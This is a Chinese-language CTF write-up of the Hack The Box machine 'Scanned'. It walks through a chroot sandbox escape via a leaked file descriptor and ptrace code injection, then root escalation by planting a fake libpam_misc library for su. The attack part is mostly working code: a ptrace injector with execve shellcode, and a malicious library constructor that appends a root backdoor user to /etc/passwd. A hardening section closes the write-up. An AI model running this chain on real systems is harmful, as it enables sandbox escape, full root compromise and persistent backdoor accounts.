[Meachines] [Insane] Insane Scanned Chroot囚笼(沙箱)逃逸+PTRACE调试+LD_PRELOAD权限提升
字数 1862 2025-08-29 08:30:06

高级沙箱逃逸与权限提升技术详解

1. 环境侦察与信息收集

1.1 目标系统信息

  • IP地址: 10.10.11.141
  • 开放端口:
    • 22/tcp: OpenSSH 8.4p1 Debian 5
    • 80/tcp: nginx 1.18.0
  • 操作系统: Linux (Debian)
  • Web服务标题: "Malware Scanner"

1.2 关键发现

  • 发现可下载的源代码: http://scanned.htb/static/source.tar.gz
  • 包含两个关键文件:
    • sandbox.c: 沙箱实现代码
    • tracing.c: 跟踪监控代码

2. 沙箱机制分析

2.1 沙箱核心功能 (sandbox.c)

#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/capability.h>

2.1.1 主要安全机制

  1. 能力检查 (check_caps())

    • 使用capget系统调用检查进程能力
    • 要求具备CAP_SYS_ADMIN等关键能力(0x2401c0)
  2. 命名空间隔离 (do_namespaces())

    • 使用unshare(CLONE_NEWPID|CLONE_NEWNET)创建PID和网络命名空间
    • 创建新的"init"进程(PID 1)
  3. chroot监狱 (make_jail())

    • 创建隔离目录结构
    • 复制必要的库文件(libc.so.6, ld-linux-x86-64.so.2)
    • 使用chroot(".")限制文件系统访问
  4. 权限降级

    • setgid(1001)setuid(1001)降低进程权限

2.1.2 关键漏洞点

  1. 文件描述符处理不当

    • jailsfd在父进程打开后未正确关闭所有副本
    • 子进程仅关闭了自己的副本,其他进程仍保留访问权限
  2. 进程隔离不完整

    • do_killer进程在chroot之外创建,未受chroot限制

2.2 跟踪监控机制 (tracing.c)

2.2.1 主要功能

  1. ptrace监控

    • 使用PTRACE_TRACEME让子进程被跟踪
    • 记录所有系统调用及其参数
  2. 进程控制

    • do_killer: 5秒后终止目标进程
    • do_log: 记录系统调用日志

2.2.2 关键漏洞点

  1. PR_SET_DUMPABLE设置

    • prctl(PR_SET_DUMPABLE, 1)在fork前调用,使所有子进程可被调试
  2. 能力清除不彻底

    • 虽然移除了大部分能力,但ptrace能力仍保留

3. 沙箱逃逸技术

3.1 逃逸原理

  1. 利用未关闭的文件描述符

    • jailsfddo_killer进程中仍然有效
    • 可以访问沙箱外的文件系统
  2. 利用ptrace注入

    • 附加到do_killer进程(PID 3)
    • 注入代码使其执行任意命令

3.2 逃逸步骤

3.2.1 准备阶段

  1. 编译恶意程序:
$ musl-gcc -static exp.c -o exp
  1. 创建暂停/继续脚本:
# pause.sh
$ kill -STOP $(ps aux | grep './sandbox' | grep -v grep | awk '{print $2}')

# continue.sh
$ kill -CONT $(ps aux | grep './sandbox' | grep -v grep | awk '{print $2}')

3.2.2 执行逃逸

  1. 启动沙箱并暂停:
$ TMPFILE=$RANDOM; ./sandbox /path/to/exp "$TMPFILE" & 
sleep 1; ./pause.sh
  1. 检查进程文件描述符:
TARGET_DIR="jails/$TMPFILE/proc/"; 
[ -d "$TARGET_DIR" ] && for pid in $(ls -1 "$TARGET_DIR" | grep -E '^[0-9]+$'); do 
    echo "Current Directory: $TARGET_DIR$pid"; 
    ls -la "$TARGET_DIR$pid/fd"; 
done
  1. 使用注入代码读取敏感文件:
// 在do_stage_2()中修改为读取/etc/passwd
int file_fd = open("./etc/passwd", O_RDONLY);

3.3 完整逃逸代码示例

#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/syscall.h>

void do_stage_1();
void do_stage_2();
void log_data(char *data, unsigned long size);
void inject();
void guard();

void putdata(pid_t child, unsigned long long addr, char *str, int len) {
    // 注入代码到目标进程
}

void do_stage_1() {
    // 附加到PID 3 (do_killer)
    const int pid = 3;
    ptrace(PTRACE_ATTACH, pid, 0, 0);
    wait(NULL);
    
    // 获取寄存器并注入代码
    struct user_regs_struct regs;
    ptrace(PTRACE_GETREGS, pid, NULL, &regs);
    putdata(pid, regs.rip, (char *)inject, (int)((unsigned long)&guard - (unsigned long)&inject));
    
    // 解除附加
    ptrace(PTRACE_DETACH, pid, 0, 0);
}

void do_stage_2() {
    // 使用do_killer的权限执行命令
    const int fd = 3; // jailsfd
    int cwd = open(".", O_RDONLY | O_DIRECTORY);
    fchdir(fd);
    chdir("/");
    
    // 读取敏感文件
    int file_fd = open("./etc/passwd", O_RDONLY);
    char *buf = calloc(1, 200000);
    unsigned long size = read(file_fd, buf, 200000);
    log_data(buf, size);
}

void inject() {
    // 注入的shellcode: 重新执行程序并带参数
    char program[] = "/userprog";
    char *arg[3] = {program, "2", 0};
    asm("movq $59, %%rax; movq %0, %%rdi; movq %1, %%rsi; xor %%rdx, %%rdx; syscall;" 
        : : "r"(program), "r"(arg) : "rax", "rdi", "rsi", "rdx");
}

int main(int argc, char **argv) {
    if (argc < 2) {
        do_stage_1(); // 第一阶段: 注入
    } else {
        do_stage_2(); // 第二阶段: 执行
    }
}

4. 权限提升技术

4.1 发现SUID文件

find / -perm -4000 -type f 2>/dev/null

4.2 LD_PRELOAD劫持

  1. 原理

    • 利用bin/su依赖libpam_misc.so.0
    • 通过LD_PRELOAD注入恶意库
  2. 恶意库代码

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <sys/prctl.h>

void misc_conv() { return; }

static __attribute__((constructor)) void init(void) {
    // 提升权限
    seteuid(0);
    setuid(0);
    
    // 添加后门用户
    char *args[] = {"/bin/sh", "-p", "-c", 
                   "echo 'root2:YiY4/N2td230w:0:0:root:/root:/bin/bash' >> /etc/passwd", NULL};
    execve("/bin/sh", args, NULL);
}
  1. 编译与部署
gcc -shared -fPIC -o exp.so expso.c
  1. 自动化脚本
#!/bin/bash
FOLDER=$(pwgen 10 1)
mkdir "$FOLDER"
cp exp exp.so "$FOLDER"
cd "$FOLDER" || exit
mkdir -p jails/fuck/usr/lib/x86_64-linux-gnu/
./sandbox $(pwd)/exp fuck & sleep 0.1
cp /usr/lib/x86_64-linux-gnu/{libutil.so.1,libpam.so.0} jails/fuck/usr/lib/x86_64-linux-gnu/
cp exp.so jails/fuck/usr/lib/x86_64-linux-gnu/libpam_misc.so.0
chmod +x jails/fuck/usr/lib/x86_64-linux-gnu/
  1. 获取root权限
su root2
# 密码: suidroot

5. 防御措施

5.1 修复沙箱漏洞

  1. 正确关闭文件描述符

    • 在fork前关闭不必要的文件描述符
    • 使用close_range()批量关闭
  2. 加强进程隔离

    • 确保所有子进程都进入chroot环境
    • 使用pthread_atfork()处理fork时的资源清理
  3. 限制ptrace使用

    • 设置prctl(PR_SET_DUMPABLE, 0)
    • 使用PR_SET_NO_NEW_PRIVS防止权限提升

5.2 系统加固

  1. SUID文件管理

    • 定期审核SUID/SGID文件
    • 限制不必要的SUID权限
  2. LD_PRELOAD防护

    • 对关键SUID程序设置AT_SECURE标志
    • 使用libcap-ng限制能力
  3. 内核安全配置

    • 启用kernel.yama.ptrace_scope
    • 使用命名空间和cgroups加强隔离

6. 总结

本教学详细分析了基于chroot、命名空间和ptrace的沙箱机制及其逃逸技术,重点包括:

  1. 文件描述符泄漏导致的chroot逃逸
  2. ptrace注入攻击技术
  3. LD_PRELOAD劫持实现权限提升
  4. 完整的攻击链构建与自动化实现

这些技术展示了Linux容器安全中的关键问题,强调了在实现沙箱时需要全面考虑各种攻击向量的重要性。

高级沙箱逃逸与权限提升技术详解 1. 环境侦察与信息收集 1.1 目标系统信息 IP地址: 10.10.11.141 开放端口: 22/tcp: OpenSSH 8.4p1 Debian 5 80/tcp: nginx 1.18.0 操作系统: Linux (Debian) Web服务标题: "Malware Scanner" 1.2 关键发现 发现可下载的源代码: http://scanned.htb/static/source.tar.gz 包含两个关键文件: sandbox.c : 沙箱实现代码 tracing.c : 跟踪监控代码 2. 沙箱机制分析 2.1 沙箱核心功能 ( sandbox.c ) 2.1.1 主要安全机制 能力检查 ( check_caps() ) 使用 capget 系统调用检查进程能力 要求具备 CAP_SYS_ADMIN 等关键能力(0x2401c0) 命名空间隔离 ( do_namespaces() ) 使用 unshare(CLONE_NEWPID|CLONE_NEWNET) 创建PID和网络命名空间 创建新的"init"进程(PID 1) chroot监狱 ( make_jail() ) 创建隔离目录结构 复制必要的库文件( libc.so.6 , ld-linux-x86-64.so.2 ) 使用 chroot(".") 限制文件系统访问 权限降级 setgid(1001) 和 setuid(1001) 降低进程权限 2.1.2 关键漏洞点 文件描述符处理不当 jailsfd 在父进程打开后未正确关闭所有副本 子进程仅关闭了自己的副本,其他进程仍保留访问权限 进程隔离不完整 do_killer 进程在chroot之外创建,未受chroot限制 2.2 跟踪监控机制 ( tracing.c ) 2.2.1 主要功能 ptrace监控 使用 PTRACE_TRACEME 让子进程被跟踪 记录所有系统调用及其参数 进程控制 do_killer : 5秒后终止目标进程 do_log : 记录系统调用日志 2.2.2 关键漏洞点 PR_ SET_ DUMPABLE设置 prctl(PR_SET_DUMPABLE, 1) 在fork前调用,使所有子进程可被调试 能力清除不彻底 虽然移除了大部分能力,但ptrace能力仍保留 3. 沙箱逃逸技术 3.1 逃逸原理 利用未关闭的文件描述符 jailsfd 在 do_killer 进程中仍然有效 可以访问沙箱外的文件系统 利用ptrace注入 附加到 do_killer 进程(PID 3) 注入代码使其执行任意命令 3.2 逃逸步骤 3.2.1 准备阶段 编译恶意程序: 创建暂停/继续脚本: 3.2.2 执行逃逸 启动沙箱并暂停: 检查进程文件描述符: 使用注入代码读取敏感文件: 3.3 完整逃逸代码示例 4. 权限提升技术 4.1 发现SUID文件 4.2 LD_ PRELOAD劫持 原理 利用 bin/su 依赖 libpam_misc.so.0 通过 LD_PRELOAD 注入恶意库 恶意库代码 编译与部署 自动化脚本 获取root权限 5. 防御措施 5.1 修复沙箱漏洞 正确关闭文件描述符 在fork前关闭不必要的文件描述符 使用 close_range() 批量关闭 加强进程隔离 确保所有子进程都进入chroot环境 使用 pthread_atfork() 处理fork时的资源清理 限制ptrace使用 设置 prctl(PR_SET_DUMPABLE, 0) 使用 PR_SET_NO_NEW_PRIVS 防止权限提升 5.2 系统加固 SUID文件管理 定期审核SUID/SGID文件 限制不必要的SUID权限 LD_ PRELOAD防护 对关键SUID程序设置 AT_SECURE 标志 使用 libcap-ng 限制能力 内核安全配置 启用 kernel.yama.ptrace_scope 使用命名空间和cgroups加强隔离 6. 总结 本教学详细分析了基于chroot、命名空间和ptrace的沙箱机制及其逃逸技术,重点包括: 文件描述符泄漏导致的chroot逃逸 ptrace注入攻击技术 LD_ PRELOAD劫持实现权限提升 完整的攻击链构建与自动化实现 这些技术展示了Linux容器安全中的关键问题,强调了在实现沙箱时需要全面考虑各种攻击向量的重要性。